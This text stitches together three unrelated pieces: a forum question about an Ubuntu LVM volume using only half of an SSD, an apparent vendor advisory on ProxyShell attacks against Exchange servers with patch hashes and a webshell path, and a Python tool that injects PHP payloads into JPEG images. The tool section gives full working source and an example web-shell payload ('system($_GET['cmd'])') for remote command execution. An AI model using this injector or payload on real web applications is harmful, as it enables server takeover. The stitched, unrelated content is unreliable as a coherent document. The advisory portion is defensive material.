No one has replied
So i have a 240 GB ssd in my server, but i notized when i login it always shows me Usage of /: 56.6% of 108.79GB So i started to look a bit deeper when i use lsblk the following is printed out: NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 52.4M 1 loop /snap/certbot/579 loop1 7:1 0 96.6M 1 loop /snap/core/9804 loop2 7:2 0 97.1M 1 loop /snap/core/9993 loop3 7:3 0 29.9M 1 loop /snap/snapd/8790 loop4 7:4 0 30.3M 1 loop /snap/snapd/9279 loop5 7:5 0 61M 1 loop /snap/core20/634 loop6 7:6 0 55.3M 1 loop /snap/core18/1885 sda 8:0 0 223.6G 0 disk ├─sda1 8:1 0 512M 0 part /boot/efi ├─sda2 8:2 0 1G 0 part /boot └─sda3 8:3 0 222.1G 0 part └─ubuntu--vg-ubuntu--lv 253:0 0 111G 0 lvm / with sudo parted /dev/sda print im getting this Model: ATA CT240BX200SSD1 (scsi) Disk /dev/sda: 240GB Sector size (logical/physical): 512B/4096B Partition Table: gpt Disk Flags: Number Start End Size File system Name Flags 1 1049kB 538MB 537MB fat32 boot, esp 2 538MB 1612MB 1074MB ext4 3 1612MB 240GB 238GB So im no expert at all but for me it looks like that the partition (sda3) has the correct size, but ubuntu only uses half of the space? Additionaly i noticed that parted shows no file system for sda3, thats strange, isnt it? So is there somebody who can explain what is happening here and how to fix it. To be clear i want that the system can use all of the space not only half of it. Update info pvs PV VG Fmt Attr PSize PFree /dev/sda3 ubuntu-vg lvm2 a-- <222.07g 111.03g vgs VG #PV #LV #SN Attr VSize VFree ubuntu-vg 1 1 0 wz--n- <222.07g 111.03g lvs LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert ubuntu-lv ubuntu-vg -wi-ao---- <111.04g
Update #3 - 08/21/2021 @ 6:48am ET - Included graph of unpatched servers and LockBit ransomware Update #2 - 08/21/2021 @ 2:03am ET - Included five distinct webshell payloads Update #1 - 08/21/2021 @ 1:19am ET - Included clarification on ProxyShell vs. ProxyLogon Attackers are actively scanning for vulnerable Microsoft Exchange servers and abusing the latest line of Microsoft Exchange vulnerabilities that were patched earlier this year. Back in March of this year, we saw multiple zero-day exploits being used to attack on-premises Exchange servers—and it looks like we’re not out of the woods yet. Those who have not patched since April or May are not safe and could still be exploited. We recommend you update to the latest security patch, monitor for new indicators of compromise and stay up-to-date on new information as it is released. We will continue to update this post with new findings. Update #3 - 08/21/2021 @ 6:48am ET The pace of webshell activity slowed down a bit through the night but is still going. During this time, we built some simple analytics to highlight the patch levels Collaboration with industry security researchers Kevin Beaumont and Rich Warren have helped corroborate that the webshell and LockFile ransomware incidents we’re seeing within companies may be related: Image We’ll continue to keep the community updated as things progress. Update #2 - 08/21/2021 @ 2:03am ET In the month of August (not limited to the past 48hr surge), we've currently observed at least five distinct styles of webshells deployed to vulnerable Microsoft Exchange servers: XSL Transform (most common, over 130 occurrences) Encrypted Reflected Assembly Loader Comment Separation and Obfuscation of the "unsafe" Keyword JScript Base64 Encoding and Character Typecasting Arbitrary File Uploader Update #1 - 08/21/2021 @ 1:19am ET We've seen a number of questions about whether Exchange 2010 is vulnerable. As mentioned below, the ProxyShell exploit chains three separate vulnerabilities to get code execution. According to nist.gov's CVE entries linked above, Exchange 2010 is not affected by these. However, Exchange 2010 reached end of life back in October 2020 which means: "Microsoft will no longer [provide] security fixes for vulnerabilities that may make the server vulnerable to security breaches" We strongly advise against running an EOL'd 2010 server in 2021. What’s Happening? Hackers are exploiting vulnerabilities in Microsoft Exchange, dubbed ProxyShell, to install a backdoor for later access and post-exploitation. This ProxyShell attack uses three chained Exchange vulnerabilities to perform unauthenticated remote code execution. CVE-2021-34473 provides a mechanism for pre-authentication remote code execution, enabling malicious actors to remotely execute code on an affected system. CVE-2021-34523 enables malicious actors to execute arbitrary code post-authentication on Microsoft Exchange servers due to a flaw in the PowerShell service not properly validating access tokens. CVE-2021-31207 enables post-authentication malicious actors to execute arbitrary code in the context of system and write arbitrary files. Huntress is seeing attackers actively exploiting these vulnerabilities against vulnerable Exchange servers. Our team has sent over 100 incident reports related to this exploit in the last two days, August 17 and 18. What Should You Do? It is imperative that you update your Exchange servers to the latest released patches. At a minimum, please ensure that you have the July 2021 updates installed. You can view the installed hotfixes by running the command systeminfo in an administrative command prompt. The output in the “Hotfixes” section should include the Knowledge Base (KB) identifiers appropriate for your Exchange version, listed below. Here is a list of patch levels and appropriate hash for MSExchangeRPC service binary to indicate fully patched as of July 2021: Exchange 2019 CU10 + KB5004780 = v15.2.922.13 8a103fbf4b18871c1378ef2689f0bdf062336d7e02a5f149132cdbd6121d4781 Exchange 2019 CU9 + KB5004780 = v15.2.858.15 c5c88f5b013711060bcf4392caebbc3996936b49c4a9b2053169d521f82010aa Exchange 2016 CU21 + KB5004779 = v15.1.2308.14 9f7f12011436c0bbf3aced5a9f0be8fc7795a00d0395bfd91ff76164e61f918d Exchange 2016 CU20 + KB5004779 = v15.1.2242.12 ab767de6193c3f6dff680ab13180d33d21d67597e15362c09caf64eb8dfa2498 Exchange 2013 CU23 + KB5004778 = v15.0.1497.23 20659e56c780cc96b4bca5e4bf48c812898c88cf134a84ac34033e41deee46e9 Indicators of Compromise So far, Huntress has found webshells written in subdirectories within the Exchange installation path. Typically, these files have a random filename, while some are human readable. Below is a short snippet of webshells we have discovered: C:\inetpub\wwwroot\aspnet_client\HWTJQDMFVMPOON.aspx Note that these are not pure ASPX files. Examining the magic bytes and file header will explain this is instead a Microsoft Outlook email folder. Upon further inspection of this file (with simple strings or viewing in a hex editor), you will find valid code that may often execute code with an eval statement or allow further uploading of files. Further Reading and Resources This attack chain was presented at Black Hat USA ‘21 in Orange Tsai’s presentation, “ProxyLogon is Just the Tip of the Iceberg.” For a detailed explanation on the attack chain, see: The presentation slides Orange Tsai had also provided a text-based writeup of the attack chain for the Zero Day Initiative following the Pwn2Own contest, which you can find here.
Injects php payloads into jpeg images. Related to this post. Use Case You have a web application that runs a jpeg image through PHP's GD graphics library. Description This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image. Make sure your input jpeg is uncompressed! Code #!/usr/bin/python3 import sys import binascii import os MAGIC_NUMBER = "03010002110311003f00" BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER) def main(): path_to_vector_image = sys.argv payload_code = sys.argv path_to_output = sys.argv with open(path_to_vector_image, 'rb') as vector_file: bin_vector_data = vector_file.read() print("[ ] Searching for magic number...") magic_number_index = find_magic_number_index(bin_vector_data) if magic_number_index >=0: print("[+] Found magic number.") with open(path_to_output, 'wb') as infected_file: print("[ ] Injecting payload...") infected_file.write( inject_payload( bin_vector_data, magic_number_index, payload_code)) print("[+] Payload written.") else: print("[-] Magic number not found. Exiting.") def find_magic_number_index( data: bytes) -> int: return data.find(BIN_MAGIC_NUMBER) def inject_payload( vector: bytes, index: int, payload: str) -> bytes: bin_payload = payload.encode() pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)] post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):] return (pre_payload + bin_payload + post_payload) if __name__ == "__main__": if len(sys.argv) != 4: print("USAGE: <jpeg file path> <payload code> <output path>") else: main() Usage python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG] e.g. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg How it works PHP code is injected in the null/garbage (brown) space after the scan header: The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it. Download Php-Jpeg-Injector